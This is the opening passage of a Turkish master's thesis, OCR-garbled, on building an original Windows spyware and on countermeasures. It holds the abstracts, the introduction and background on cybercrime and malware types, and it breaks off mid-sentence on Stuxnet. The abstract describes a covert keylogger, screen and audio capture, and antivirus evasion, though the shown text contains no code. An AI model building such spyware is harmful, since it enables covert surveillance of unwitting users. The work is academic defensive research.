


WINDOWS FONKSiYONLARI KULLANILARAK OZGUN BiR CASUS
YAZILIM TASARIMI VE ALINABILECEK ONLEMLER

Mehmet DAMA

YUKSEK LISANS TEZi

BILiSIM SISTEMLERI ANABILIM DALI

GAZi UNIiVERSITESI
BILISIM ENSTITUSU

KASIM 2014



Mehmet DAMA  tarafindan  hazirlanan “WINDOWS FONKSIYONLARI
KULLANILARAK OZGUN BIR CASUS YAZILIM TASARIMI VE ALINABILECEK
ONLEMLER” adli tez ¢alismas1 asagidaki jiiri tarafindan OY BIRLIGI / OY COKLUGU
ile Gazi Universitesi Bilisim Enstitiisii Bilisim Sistemleri Anabilim Dalinda YUKSEK
LISANS TEZI olarak kabul edilmistir.

Damsman: Dog. Dr. Biinyamin CIYLAN
Bilgisayar Miihendisligi, Gazi Universitesi

Bu tezin, kapsam ve kalite olarak Yiiksek Lisans Tezi oldugunu onayliyorum/onaylamiyorum ..........

Baskan: Prof. Dr. Hadi GOKCEN

Endiistri Miihendisligi, Gazi Universitesi

Bu tezin, kapsam ve kalite olarak Yiiksek Lisans Tezi oldugunu onayliyorum/onaylamiyorum ..........

Uye: Dog. Dr. Nurettin TOPALOGLU
Bilgisayar Miihendisligi, Gazi Universitesi

Bu tezin, kapsam ve kalite olarak Yiiksek Lisans Tezi oldugunu onayliyorum/onaylamiyorum ..........

Tez Savunma Tarihi: 20/11/2014

Jiir1 tarafindan kabul edilen bu tezin Yiiksek Lisans Tezi olmasi i¢in gerekli sartlar1 yerine

getirdigini onayliyorum.

Dog. Dr. Nurettin TOPALOGLU

Bilisim Enstitlisti Miidiirt



ETiK BEYAN

Gazi Universitesi Bilisim Enstitiisii Tez Yazim Kurallarma uygun olarak hazirladigim bu

tez ¢alismasinda;

Tez i¢cinde sundugum verileri, bilgileri ve dokiimanlar1 akademik ve etik kurallar
cergevesinde elde ettigimi,

Tiim bilgi, belge, degerlendirme ve sonuglari bilimsel etik ve ahlak kurallarina
uygun olarak sundugumu,

Tez calismasinda yararlandigim eserlerin tiimiine uygun atifta bulunarak kaynak
gosterdigimi,

Kullanilan verilerde herhangi bir degisiklik yapmadigima,

Bu tezde sundugum calismanin 6zgiin oldugunu,

bildirir, aksi bir durumda aleyhime dogabilecek tiim hak kayiplarin1 kabullendigimi beyan

ederim.

Mehmet DAMA
20.11.2014



WINDOWS FONKSIYONLARI KULLANILARAK OZGUN BiR CASUS YAZILIM
TASARIMI VE ALINABILECEK ONLEMLER
(Yiksek Lisans Tezi)

Mehmet DAMA

GAZI UNIVERSITESI
BILISIM ENSTITUSU
Kasim 2014

OZET

Siber Diinya’da bilgi giivenligini tehdit eden 6nemli zararli yazilim tiirlerinden birisi de
casus yazilimlardir. Kullanicilarin bilgilerini toplayarak iigiincii taraflara ulastiran casus
yazilimlar siber sug, siber casusluk ve siber savas gibi faaliyetlerde kullanilabilmektedirler.
Koruyucu yazilimlar, casus yazilimlara karst bir 6nlem olarak kullanilmaktadirlar. Ancak
Ozgiin olarak gelistirilmis yani daha once herhangi bir koruyucu yazilima ait imza
veritabaninda imzasi olusturulamamis casus yazilimlarin, koruyucu yazilimlar tarafindan
zararll olarak degerlendirilmeme riski bulunmaktadir. Bu problemi ortaya koymak ve
¢oziim sunmak i¢in donanima ve Windows isletim sistemi versiyonuna bagimliligi en aza
indiren, hedef kitlesi genisletilmis, Ozgiin yontemlerle Ornek bir casus yazilim
gelistirilmistir. Casus yazilim tasariminda, bilgilerin toplanabilmesi i¢in ii¢lincii parti sinif
ve kiitiiphaneler yerine Windows isletim sistemlerinde yer alan fonksiyonlar1 kullanan
ozgiin smuflar gelistirilmistir. Ozellikle tus kaydedici &zelliginin (KEYLOGGER)
kazandirilmasi i¢in yaygin olarak kullanilan Hook yontemi yerine GetAsyncKeyState
fonksiyonunun kullanildigr simif gelistirilmistir. Gelistirilen casus yazilim araciligiyla,
basilan tus bilgileri, IP bilgileri, a¢ik port bilgileri, agik pencere bilgileri gibi bilgiler ile
ekran goriintiileri ve ortam ses kayitlarinin kullanicinin bilgisi disinda iiglincii sahislar
tarafindan nasil edinildigi, bu yazilima ait gelistirme siireci ve gelistirme motivasyonlarinin
neler oldugu ortaya konmustur. Microsoft Visual Studio gelistirme ortaminda C# dilinde
gelistirilen casus yazilim, Windows tabanli isletim sistemleri iizerinde yaygin olarak
kullanilan 11 adet koruyucu yazilim (antiviriis, antispyware, firewall) ile test edilmis olup
sadece dort adet koruyucu yazilimin gelistirilen casus yazilimi tespit edebildigi, bir
yazilimin ise sadece internet erisimini engelledigi gortilmiistiir. Bu testlerin yaninda casus
yazilim, cevrimig¢i virlis tarama sitesi lizerinde de taratilmis olup detayli sonuclar
paylasilmistir. Casus yazilim gelistirme siirecinde edinilen tecriibeler ve gerceklestirilen
testler ile ulasilan sonuglar 151g1nda casus yazilimlardan korunmak i¢in koruyucu yazilim
gelistiricileri, kurumsal kullanicilar ve son kullanicilara yonelik oneriler sunulmustur.
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ABSTRACT

Spyware is one of the important dangerous malware type threats to Information Security in
the cyber world. The spywares which are used to collect user data and send to third parties
can be used in cyber spying, cyber war and cyber crime activities. Anti-malware
(antispyware, antivirus, firewall) software are being used as a preventive measure to
spyware. But, originally developed spyware which are not identified in the antivirus
software signature database may not be detected by anti-malware software. To present that
problem and solution, a spyware was developed using original methods. Having a large
target audience, this spyware has minimum dependency on hardware and Windows
operating system. Original classes using Windows operating system functions were
developed instead of third party classes and libraries for collecting information. In
particular, a class using GetAsyncKeyState function was developed to implement
KEYLOGGER functionality, instead of using common Hook method. The methods for
gathering keystrokes (KEYLOGGER) , IP address, open and established network port and
open windows information, screenshots and environment voices without the knowledge of
the user are presented and spyware development stage and the motivation factors are set
forth. The spyware coded with Microsoft Visual Studio C# language is tested with 11
prevalent anti-malware software commonly used in Windows operating systems. It is seen
that only four of these software products could detect this spyware and one can block
Internet connection. Spyware is also scanned in online virus scanning website and detailed
results have been presented. Some advices are presented for anti-malware developers, IT
managers and end users by the view from spyware development experiences and test
results.
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SIMGELER VE KISALTMALAR

Bu ¢alismada kullanilmis baz1 kisaltmalar, agiklamalari ile birlikte asagida sunulmustur.

Kisaltmalar Aciklamalar
BTK Bilgi Teknolojileri Kurumu
DOS Hizmet Engelleme Saldirist
(Denial of Service Attack)
DDOS Dagitik Hizmet Engelleme Saldirisi
(Distributed Denial of Service Attack)
EPDK Enerji Piyasasi Diizenleme Kurumu
FBI Federal Sorusturma Biirosu

(Federal Bureau of Investigation)

IT Bilisim Teknolojileri (Information Technology)
JVM Java Sanal Makinesi (Java Virtual Machine)
RTUK Radyo ve Televizyon Ust Kurulu

URL Evrensel Adres Gosterici

(Uniform Resource Locator)



1. GIRIS

Teknoloji kullanimi yayginlastikga, teknolojinin 6nemli faydalariyla beraber ¢ok onemli
zararlar1 da toplumsal yasami ve uluslararasi iliskileri etkilemektedir. Gergek diinyaya ek
olarak yaygin elektronik alt yapi1 kullanimiyla meydana gelen siber diinya; hem fiziki
diinyada olan somut olaylardan etkilenmekte hem de siber alanda diizenlenen saldirilar
yiiziinden ger¢ek diinyayr etkilemektedir [1]. Bu c¢alismada bahsedilen bazi kavramlarin

tanimlar1 asagida sunulmustur.

“Siber Suglar”, bir bilgisayarin ara¢ olarak kullanilmasi sonucu geleneksel suglar olan
dolandiricilik ve hirsizlik gibi suglar ile yeni tiir suclar olarak tanimlanabilecek servislerin
caligmaz hale getirilmesi (Denial of Service Attacks), verilere zarar verme (zararl
yazilimlar), kimlik bilgisi hirsizligi, telif hakki ihlallerinin gergeklestirilmesi olarak

tanimlanabilir [2-3].

“Siber Saldir1” askeri literatiirde, devletlerin ulusal hukuk metinlerinde ve uluslararasi
hukuk kaynaklarinda agik¢a tanimlanmis ve iizerinde mutlak bir uzlasi saglanmig bir
kavram degildir. Bu nedenle s6z konusu ifadenin farkli tanimlar1 bulunmaktadir.
Literatiirdeki en kapsamli tanimlardan biri olarak degerlendirilen ABD Ulusal Aragtirma
Konseyi Bilgisayar Bilimler ve Telekomiinikasyon Kurulu (Computer Science and
Telecommunications Board of the National Research Council) Bas Bilim Uzman1 Herbert
Lin’in agiklamasina gore, siber saldir1, diismanin bilgisayar sistemlerini ve aglarini veya bu
sistem ve aglarda bulunan ya da bunlardan gegen bilgiyi ve/veya programlart degistirmek,
bozmak, yaniltmak, geriletmek veya ortadan kaldirmak i¢in yapilan kasitli hareket ve

harekatlardir [4-5].

Siber saldir1 taniminda oldugu gibi siber savag taniminin da herkesge benimsenen bir
tanimi yoktur. Siber savas, “bilgi teknolojilerini korumak igin siber alanda savunma
yapmak veya saldirmak ya da rakip saldirilar1 engellemek i¢in yapilan faaliyetlerin tiimii

olarak tanimlanmaktadir [1].

Siber casusluk (Ing. Cyber Espionage) hedef bilgisayarin yapilandirmasini veya sistem
savunmasini test etmeyi amaclayan faaliyetler olabilecegi gibi yetkisiz olarak dosyalarin
goriintiilenmesi, kopyalanmasi, bilgisayar {iizerinde gerceklestirilen islemlerin takip
edilmesi seklinde de tanimlanabilir [6]. 2010 yilinda Cin siber savasg¢ilari tarafindan

Google firmasimin entelektiiel miilkiyetlerini calmay1 hedefleyen girisimlerin ortaya ¢ikmis



olmasi siber casuslugun sadece teorik bir kavram olmadiginin kaniti niteligindedir [7].
Siber casusluk ile ilgili yasanan bir diger olay ise Moonlight Maze olayidir. Bu olayda Rus
hackerlar bir y1l boyunca Savunma bakanlig1 bilgisayarlarina niifuz ederek biiyiik miktarda
kritik verileri calmislardir. Pentagon ve Federal Bureau of Investigation (FBI) yetkilileri bu
olayi, Savunma Bakanligi’nin yani sira Enerji Bakanligi, NASA, askeri miiteahhitler ve
ordu ile baglantili sivil iiniversiteleri de hedef alan, Rusya devletinin destekledigi ABD
teknolojisini elde etme istihbarat kampanyasi olarak tanimlamis ve bu olayda Savunma
Bakanligi aglarinda herhangi bir zarar ya da imha raporlanmadigi belirtilmektedir [8].
Bilisim teknolojileri dncesinde casusluk faaliyetlerinin fiziki koruma ile engellenebiliyor
olmasina ragmen giiniimiizde bir zararli yazilim aracilifiyla diinyanin herhangi bir

noktasindan casusluk faaliyetleri yliriitilebilmektedir.

Siber diinyada gerceklestirilen siber suglar, siber casusluk ve siber savaslarin hedefinde
kisiler, sirketler, siyasi/ideolojik kurum ve kuruluglar ile devletler olabilir. Yukarida ifade
edilen faaliyetlerde kullanilabilecek 6nemli zararli yazilim araglarindan birisi de casus
yazilimlardir. Casus yazilimlar arka planda calisarak istenilen verileri sistemden
edinebilirler [9]. Ne tiir bilgilerin elde edilecegi casus yazilimi olusturan kisi/kurum
tarafindan belirlenir, bu bilgiler kredi karti numaralari, kullanic1 adi-sifreleri, girilen web
sayfa bilgileri, kisisel veya kurumsal yazigmalar, gizli dosyalar, bilgisayar kamerasina ait
goriintii, ortamdaki konusmalar (mikrofon araciligiyla) gibi cesitli bilgiler olabilirler. Bu
calismada casus yazilimlarin olusturduklar riskler bazi ornekleri ile birlikte detaylica

sunulmustur.

Ulkemizde casus yazilimlar {izerinde yapilan galismalar genel olarak teorik veya hukuki
cercevede kalmakta olup bu yazilimlarin nasil gelistirildikleri ve ¢alistiklar1 hakkinda
bilgiler ortaya koyan teknik ¢alisma sayisi daha azdir [1, 3, 8, 10]. Bu ¢alismada 6zgiin bir
casus yazilim gelistirme siireci ele alinmis olup casus yazilim gelistiren kisilerin, gruplarin,
organizasyonlarin ve devletlerin bu yazilimlar1 hangi motivasyonlarla gelistirmis

olabilecekleri de ele alinmstir.

Koruyucu yazilimlar (antivirus/antispyware/firewall) casus yazilimlara karsi bir 6nlem
olarak kullanilmaktadirlar. Ancak sanildiginin aksine ozellikle 6zgiin olarak gelistirilmis
yani daha Once herhangi bir koruyucu yazilima ait imza veritabaninda imzasi
olusturulamamis casus yazilimlarin, koruyucu yazilimlar tarafindan zararli olarak
degerlendirilememe riski bulunmaktadir [11-12]. Bu problemi ortaya koymak ve ¢6ziim

sunabilmek i¢in c¢alisma kapsaminda, donanim ve Windows isletim sistemi versiyon



bagimliligim1 en aza indiren, hedef kitlesi genisletilmis, 6zgiin yontemlerle bir casus
yazilim gelistirilmistir. Coztime yonelik koruyucu yazilim gelistiricileri tarafindan casus
yazilimin kullandig1r yontemlerin nasil engellenebilecegi hususunda oneriler Boliim 4 ve
Bo6liim 5’te sunulmustur. Gelistirilen yazilim yaygin sekilde kullanilan isletim sistemleri
iizerinde ve yaygin olarak kullanilan koruyucu yazilimlar ile test edilmistir. S6z konusu
testler, sanal makineler iizerinde kurulu isletim sistemlerinde ¢esitli koruyucu yazilimlarin
ayr1 ayr1 test edilerek casus yazilimin tespit edilebilirligine yonelik bazi sorularin
cevaplarinin aranmasi seklinde gerceklestirilmistir. Bu kapsamda ilgili sorular ile

cevaplarinin olusturuldugu ¢izelgeler calisma sonucunda sunulmustur.

Kullanicilarin  kullanmakta oldugu koruyucu yazilimlarin sayisinin fazla olmasi ve
gelistirilen casus yazilimin koruyucu yazilimlar ile test edilmesinin siire almasi nedeniyle,
test edilen koruyucu yazilim sayisinin sinirlandirilmas: gerekmistir. Testler 11 adet
koruyucu yazilim ile gergeklestirilmistir. Bununla birlikte farkli isletim sistemleri {izerinde
de testlerin gerceklestirilmesi hedeflenmis olmasina ragmen test i¢in kullanilabilecek
bilgisayar sayisinin bir tane ile smirli olmasi nedeniyle “Sanal Makine” yazilimlari

kullanilmig ve diger isletim sistemleri sanal makinalar iizerinde test edilmistir.

Calisma sonucunda elde edinilen bulgular 1s18inda casus yazilimlarin olusturduklar
risklerin nasil azaltilabilecegine iliskin degerlendirmeler sunulmustur. Bu degerlendirmeler
koruyucu yazilim gelistiriciler basta olmak {lizere kurumsal sistem yoneticileri ve son
kullanicilara yonelik hazirlanmis olup zararli yazilimlar ile ilgili ilerde yapilacak
caligmalara 151k tutabilecek Oneriler de sunulmustur. Ayrica gelistirilmesine milli
imkanlarla katki saglanmis olan bir isletim sistemine olan ihtiya¢ s6z konusu Oneriler

kapsaminda ele alinmistir.






2. SIBER SUCLAR

Yeni bir kavram olarak ortaya ¢ikan bilisim, Tiirk Dil Kurumu tarafindan insanoglunun
teknik, ekonomik ve toplumsal alanlardaki iletisiminde kullandig1 ve bilimin dayanagi olan
bilginin ozellikle elektronik makineler aracilifiyla diizenli ve akla uygun bir bicimde

islenmesi bilimi olarak tanimlanmaktadir.

Su¢ kavrami ise, toplumsal diizen igerisinde olusturulmus kanunlarin yasakladigi ve
yapildiginda cezai bir miieyyidesinin oldugu her tiirden davranis olarak tarif edilebilir.
Glniimiiz diinyasinda ise ozellikle kisisel bilgisayarlar ve mobil iletisim cihazlarinin
gelismesi ve sayilarindaki artis ile orantili olarak karmasiklasan bir iletisim ag1 sistemi
bulunmaktadir. Insan hayatini kolaylastiran yonlerine paralel olarak, bu iletisim ag

tizerinde artan bir sug potansiyelinden de bahsetmek miimkiindiir [10].

Yukaridaki bilisim ve su¢ tanimlar1 dikkate alindiginda bilisim sugu kavrami daha iyi
anlasilabilir olmakla birlikte, Avrupa Ekonomik Toplulugu Uzmanlar Komisyonunun Paris
toplantisinda (Mayis 1983) ortaya koydugu bilisim sugu tanimi, genel gecerliligi en kabul
edilebilir tanim olarak goriinmektedir. Bu tanimlamada bilisim suglari, sistem iginde
bilgileri otomatik isleme tabi tutan veya verilerin nakline yarayan her tiirlii islemi ahlaki ve
kanuni olmayan, bununla birlikte yetki asimi veya yetki tecaviizii ile gerceklestirilen

davranis olarak tarif edilmektedir [10, 13].

Bilisim sugu ise pek cok dilde farkli isimler altinda ifade edilebilmektedir. Bilgisayar
destekli suglar (Ing. Computerassisted Crimes), bilgisayara karsi islenen suglar (Ing.
Crimesagainst Computer), bilgisayar baglantili suglar (Ing. Computerrelated Crimes),
bilgisayar aglar1 ile ilgili suclar (Ing. Computer Networks related Crimes), bilgisayar
suglar1 (Ing. Computer Crimes — Computer kriminalitat — la Fraudelnformatique), bilgi
teknolojileri suglar1 (Information Technologies — IT Crimes), siber suglar (Cyber Crimes),
ag suglari (Crimes of Network) ve bilisim suglulugu (la Criminalita Informatica)

verilebilecek pek ¢ok drnekten birkagidir [14].

Siber suglarin islenmesinde kullanilan saldir1 yontemleri ve zararli yazilim tiirleri asagida

ele alimmastir.



2.1. Saldir1 Yontemleri

Siber saldir1, bilgisayar ve ag sistemlerine ait giivenligi (erisilebilirlik, tutarlilik ve gizlilik
vb.) riske sokan bir dizi bilgisayar aktivitesidir. Hayatimizin savunma, bankacilik,
telekomiinikasyon, ulasim, enerji gibi bir¢ok kritik alaninda bilgisayar ve ag sistemlerine
olan giiven arttikg¢a siber saldirilar toplum i¢in 6nemli riskler olusturmaya baslamistir [15].

Bazi siber saldir1 yontemleri asagida sunulmustur.

2.1.1.Bilgisayar korsanhgi

Bilgisayar korsanlig1 yetkisiz erisim saglamak amaciyla bir sistemin giivenlik tedbirlerini
etkisiz hale getirmeye calismaktir. Bilgisayar korsanligi maksadiyla kullanilan pek c¢ok
yontem bulunmaktadir. Bu yontemlerin basinda isletim sistemlerinde, yaygin olarak
kullanilan uygulama programlarinda veya ag baglantilarinda agiklar bularak bu agiklardan
istifade edilmesi gelmektedir. Dolayisiyla giincellenmemis isletim sistemi veya uygulama
programlarinin iizerinde ¢alisan sistemlerin daima risk altinda olduklar1 degerlendirilebilir.
Bununla birlikte “Zero-Day-Exploit” olarak adlandirilan, iiretici firmanin da varligindan
haberdar olmadig1 yeni bir agigin tespit edilerek kullanilmasi ihtimali de her zaman s6z
konusudur [3].

Bilgisayar korsanligi aktivitesi sonucunda sistem erigsilmez hale getirilebilir, sistemde
bulunan bilgiler ¢alinabilir, degistirilebilir veya tahrip edilebilir. Daha da koétiisii sisteme
sizan kisi alaninda yeterince yetkin ise varligindan kimseyi haberdar etmeden veriler
iizerinde degisiklikler yapip yine fark edilmeden sistemi terk edebilir. Boyle bir durumda
bilgi gilivenligi taniminda da yer alan sistemde barindirilan verinin biitiinligii hakkinda
kimsenin aklina bir siiphe gelmeyecek ve s6z konusu isletme biitlinligii bozulmus veriyle

glinliik islemlerine devam edecektir [3].

2.1.2.Hizmeti engelleme

Bilisim sistemlerinin erisilebilirligine yonelik diizenlenen en meshur saldir1 tiirii “Denial of
Service (DOS)  saldiris1” olarak bilinen hizmeti engelleme saldirilaridir. DOS
saldirilarinda kullanilan pek ¢ok ydntem bulunmaktadir. Bu yontemler ile hedeflenen,

hizmeti engellenecek sunucu bilgisayarla ¢ok sayida sahte baglanti kurmak suretiyle



sunucuya asiri is yiikii yiilklemek ve gergekten baglant1 kurmaya ¢alisan kullanicilara cevap
veremez hale gelinmesini saglamaktir. Giiniimiizde DOS saldirilar1 genellikle birden fazla
hatta bazen binlerce bilgisayar kullanilarak yapilmaktadir. Bu tiir saldirilar Dagitik Hizmeti
Engelleme Saldirilart anlamina gelen Distributed DOS (DDOS) saldirilart olarak
isimlendirilmektedir. Bu tiir saldirilarin sorusturulmasi da kolay olmamaktadir ¢iinkii
DDOS saldirilart ¢gogunlukla bu is i¢in yazilmig botnet (bot networks) adi verilen zararl
yazilimlar vasitasiyla gerceklestirilmektedir. Botnet isimli yazilimlar kullanicilarin
farkinda olmadan bilgisayarlarina yiiklenmekte ve botnet yoOneticisinden talimat gelene
kadar faaliyette bulunmamaktadir. Botnetler genellikle DDOS ataklarinda kullanilmakta,
yoneticiden talimat geldiginde yazilimm bulastig1 bilgisayarlar saldirinin hedefinde

bulunan internet adresleriyle baglanti kurarak sunucuyu mesgul etmektedirler [3, 16].

2.1.3.Sosyal miihendislik saldirilar

Siber saldir1 tekniklerinden bir digeri de sosyal miihendislik saldirilaridir. Sosyal
mithendislik saldirilari, insan dogasindan istifade etmek {izere degisik aldatmacalar
kullanarak hedef sistem hakkinda bilgi edinmek, veri ele gecirmek veya sisteme girmektir.
Oltalama (Ing. Fishing) ve istenmeyen e-posta (Ing. Spam) gondermek bir nevi sosyal
mithendislik saldirisidir ¢iinkii  kullanicilar1  kandirarak belli eylemleri yaptirmay:
hedeflemektedirler. Bunun yaninda saldirganin hedeflenen kurum calisanlarina telefon
acarak kendisini bilgi islem personeli olarak tanitmasi suretiyle ¢esitli bahanelerle sisteme
baglanirken kullandigi kullanic1 adi ve sifresini 6grenmesi de bir sosyal miihendislik
saldirisidir. Sosyal miihendislik saldirilart kisisel beceriye dayanan, basit ve etkili

saldirilardir [3, 17].

2.1.4.Gizli dinleme

Bir ag veya kanal lizerinden iletilen verinin, kotli niyetli tigincii kisiler tarafindan araya
girilerek alinmasi; hatta kaynaktan hedefe giden verinin arada elde edilip, degistirilerek
hedefe gonderilmesi bile miimkiindiir. Ingilizce “eavesdropping” (sagak damlasi) olarak
adlandirilan bu saldirinin, sanildiginin aksine ¢ok farkli uygulama alani bulunmaktadir. Hig
bir bilgisayarla etkilesimi olmayan tek basina calisan bir bilgisayar bile, mikrocip, ekran
veya yazict gibi elektronik pargalarindan yayilan elektrik veya elektromanyetik yayilim

takip edilerek gizlice dinlenebilir. Bu cihazlarin bu tiir dinlemelere olanak vermemesi igin,



Amerikan hiikiimeti 1950’li yillarin ortasindan baglayarak TEMPEST adinda bir standart
gelistirmistir [18].

Paket koklama (Ing. packet sniffing) olarak da adlandirilan bu gizli dinleme saldirist sistem
yoneticileri tarafindan kullanilan yonetimsel yazilimlar ile gergeklestirilebilecegi gibi koti

niyetli olarak gelistirilmis yazilimlarla da gergeklestirilebilir [19].

2.1.5.Dogrudan erisim saldirilari

Bir bilgisayar sistemine dogrudan fiziksel erisime sahip olan bir kisinin yaptig1 saldirilar
bu grupta toplanmaktadir. Bilgisayara fiziksel erisim saglayan kisi, isletim sistemlerinde
kendisi i¢in bir kullanici belirlemek gibi ileride kullanilabilecek cesitli degisiklikler
yapabilir; yazilim solucanlari, klavye dinleme sistemleri ve gizli dinleme cihazlarini
sisteme kurabilir. Dogrudan erisime sahip olan saldirgan ayrica, CD-ROM, DVD-ROM,
disket gibi yedekleme linitelerini; bellek kartlari, sayisal kameralar, sayisal ses sistemleri,
cep telefonu ve kablosuz/kizilotesi baglantili cihazlari kullanarak, biiyiik miktarda bilgiyi
kendi tarafina kopyalayabilir. Bu agidan, bir bilgisayar sistemi {igiincii sahislarin

kullanimina kisa stireligine bile olsa birakilmamalidir [18].

2.1.6.Kriptografik saldirilar

Sifrelenmis bilgilerin sifresini kirmak veya ¢6zmek i¢in yapilan saldirilardir. Bu saldirilar,
kriptoanaliz yontemleri ile gergeklestirilmektedir. Bunlar arasinda kaba kuvvet saldirisi
(brute force attack), sozliik saldirisi (dictionary attack), ortadaki adam saldirisi (man in the
middle attack), sade sifreli metin (chipertext only), bilinen diiz metin (known plaintext),
secilen diiz metin veya sifreli metin (chosen plaintext, chipertext), uyarlanir segili diiz
metin (adaptive chosen plaintext) ve iliskili anahtar (related key attack) saldirilarim

saymak miimkiindiir [20].

2.2. Zararh Yazilim Tirleri

Zararli yazilim (Ing. Malicious software, malware) yetkisiz olarak yiiklenen ve bilgisayar

sistemlerine zarar veren yazilimlarin genel adidir [21].

Bazi zararli yazilim tiirlerine ait siniflandirma asagida sunulmustur.



2.2.1.Bilgisayar viriisleri

Organizmalardaki hiicrelere bulasan biyolojik viriislerden esinlenerek adlandirilan
bilgisayar viriisleri, kendi kopyalarin1 ¢alistirabilen, diger kodlara veya belgelere
kendilerini yerlestirerek yayilan ve kendi kendine ¢ogalan yazilimlardir. Ekranda rahatsiz
edici, calismaya kisa siireligine de olsa mani olan mesajlar gdstermek gibi zararsiz
sayilabilecek tiirlerinin de bulunmasina karsin; ¢ogu virilis programlarinin, nemli dosyalar1
silmek veya konak (Ing. host) sistemini tamamen ¢alismaz hale getirmek gibi yikici etkileri
bulunmaktadir. Bir bilgisayar solucanin bir parcasi olarak ag iizerinden yayilabilir
olmalarma ragmen; tanim olarak viriisler, yayilmak i¢in ag kaynaklarin1 kullanmazlar.
Bunun yerine disket, CD veya DVD gibi ortamlarla veya e-posta eklentileri ile hedef

sistemlere bulasirlar [18].

2.2.2.Bilgisayar solucanlar1 (ing. Worms)

Bilgisayar viriislerine benzer yapida olan solucanlar, viriisler gibi bir baska calistirilabilir
programa kendisini ilistirmez veya bu programin pargasi olmaz. Solucanlar, yayilmak igin
baska bir programa ihtiya¢ duymayan, kendi kendini ¢ogaltan bir yapiya sahiptirler. Bir
solucanin yayilmasinda kullandigi en yaygin yontemler arasinda e-posta, FTP ve HTTP
gibi Internet hizmetleri bulunmaktadir. Solucanlar yayilmak icin, hedef sistemdeki
korunmasizliklardan ~ faydalanabilir ~ ve/veya sosyal mihendislik  yontemlerini
kullanabilirler. Solucanlar, baska dosyalar1 degistirmezler, fakat etkin bir sekilde bellekte
dururlar ve Kkendilerini kopyalarlar. Solucanlar otomatik olarak gergeklestirilen ve
genellikle kullanicilar tarafindan farkedilemeyen isletim sistemi yapilarin1 kullanirlar.
Solucanlarin kontrol dis1 c¢ogalmalari, sistem kaynaklarmi asirn kullandiginda veya
caligmakta olan diger gorevleri yavaslattiginda veya bu gorevlerin sonlanmalarina neden

oldugunda farkina varilabilir [18].

2.2.3. Truva atlari

Zararli yazilim tiirlerinden bir digeri olan Truva atlari ismini bir efsaneden almistir. S6z
konusu efsane, hediye olarak gonderilmis bir tahta atin igine saklanan diisman askerleri

tarafindan sehrin ele gecirilmesini konu edinmistir.
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Truva atlar1 kullanict bilgisi ve yetkisi disinda ¢alisan zararli yazilimlardir. Truva atlari,

viriisler ve solucanlardan farkli olarak kendilerini kopyalamazlar. Truva atlarinin

gerceklestirdigi islemleri su sekilde siralamak miimkiindiir [22];

Verileri Silme,

Verileri kullanilmaz hale getirme,

Verileri degistirme,

Verileri kopyalayarak ii¢iincii taraflara gonderme,

Bilgisayar veya ag performansini olumsuz etkileme.

Truva atlariin en Onemli Ozelligi efsanedeki tahta ata benzer sekilde bilgisayara

kullanicinin istegi ile yiiklenmesidir. Ancak kullanici ¢ogunlukla baska bir program

yiikledigini diisiiniirken aslinda yiiklendigi zannedilen programin i¢inde saklanan baska bir

yazilim mevcuttur. Saklanmakta olan bu yazilimi, efsanedeki truva atinin igindeki

askerlere benzetmek miimkiindiir. Saklanmakta olan bu yazilim programlanma amacina

gore ¢esitli kosullarda harekete gegebilir. Bu kosullarda g¢alisan Truva Atlari su sekilde

orneklendirilebilir;

Belirli zamanda ¢alismak iizere programlanmis olan Truva atlar.

Belirli internet sitelerine giris yapildiginda aktiflesmek iizere programlanan Truva
atlar1 (6rnegin herhangi bir internet bankaciligi web sayfasi agildiginda harekete
gecerek bilgisayardaki faaliyetleri izlemeye alabilir.)

Belirli saat dilimleri veya konumlarda harekete gegmek lizere programlanan Truva
Atlari, bu tiir yazilimlar belirli tilkeleri veya belirli bolgeleri hedeflemektedirler.
Gelistiricisi tarafindan verilen talimatla harekete gecirilen Truva Atlari, bu tiir
yazilimlar bilgisayar {izerinde ag portlarini kullanarak siirekli dinleme yaparlar ve
gelistiricisi tarafindan s6z konusu ag portuna baglanti yapilarak gonderilen
talimatlara gore hareket ederler. Bu tiir yazilimlarin diger bir calisma yontemi ise
dinleme yapmak yerine 6nceden truva at1 i¢inde tanimlanan bir IP adresine belirli
araliklarla baglant1 yaparak ilgili IP adresinde tanimlanan komutlara gore hareket
edilmesidir. ikinci yontemin kullanilmasi siirekli dinleme yapilmadigindan truva ati

yaziliminin daha zor tespit edilmesine neden olur.
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2.2.4.Casus yazihmlar

Casus yazilimlar kullanici aktivitelerini takip ederek kullanicilara ait verileri toplarlar.
Casus yazilimlar tarafindan toplanan bu veriler iiglincii taraflara raporlanarak Onemli
giivenlik ihlalleri olustururlar. Ayrica arka planda gerceklestirilen islemlerden dolay:

bilgisayar performansina olumsuz etki yaparlar [23].

Literatiirde zararli yazihmlar (Ing. Malware) islevlerine gore yukarda belirtildigi sekliyle
siniflandirilsalar dahi belirli amaglar i¢in tasarlanmig yazilimlar bu siniflandirmadaki

birden ¢ok yazilimin 6zelligini gosterebilirler.

Casus yazilimlar 6zel amaclarla gelistirildiklerinden dolayr arka planda ¢alisarak
gelistiricisi veya kullanicisi tarafindan belirlenen bazi verileri sistemden elde etmeyi
hedeflerler. Bu veriler kimi zaman kredi karti numaras1 gibi bir bilgi olabilecegi gibi kimi
zamanda gizli bir belge de olabilir [9]. Zarar goren veya kaybedilen gizli veri, énceden
alinabilecek birtakim tedbirlerle geri kazanilabilir ancak casus yazilimlar araciligiyla
calinan veri saldirgandan geri alinamaz. Bu durum gizli olmasi gereken verinin artik

gizliliginin kalmamasina neden olur.

Casus yazilimlar, bir sisteme fiziksel erisimi olan kisiler tarafindan da yiiklenebilecegi gibi
kiigik maddi kazanglar karsiligi (licretsiz programlar vb.) kendi bilgisayarlarinin
giivenliklerini g6z ardi ederek indirilen ¢esitli yazilimlar ile de bilgisayara bulasabilirler
[24, 25].

Casus yazilimlar, sisteme s1izma isleminden sonra saldirgan tarafindan 6nceden tanimlanan
degisik Ozellikler araciligiyla yetkisiz erisim kazanarak Resim 2.1°de temsili olarak
sunuldugu gibi zararh islemler gerceklestirirler. Casus yazilimlar genellikle kullanicilar
tarafindan faydali 6zellikleri tasiyan ancak lisanssiz ve kopya triinlerde gizlenecek sekilde

gelistirilirler.
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Resim 2.1. Casus yazilim aktiviteleri (temsili)

Ornek casus yazilimlar

Son zamanlarda isimlerinden siklikla bahsedilen casus yazilimlardan bazilari sunlardr;

e STUXNET

e DUQU
e FLAME
o CIPAV

STUXNET

Stuxnet ilk defa Beyaz Rusya'daki kii¢iik bir firma olan “VirusBlokAda” tarafindan tespit
edildi. Bu zararli yazilim ¢ok karmasik bir yapiya sahipti. Bu karmasik yapiy: dikkat ¢ekici
hale getiren en biiylik 6zellik casus yazilimlar dahil bir¢ok zararli yazilim ydntemini
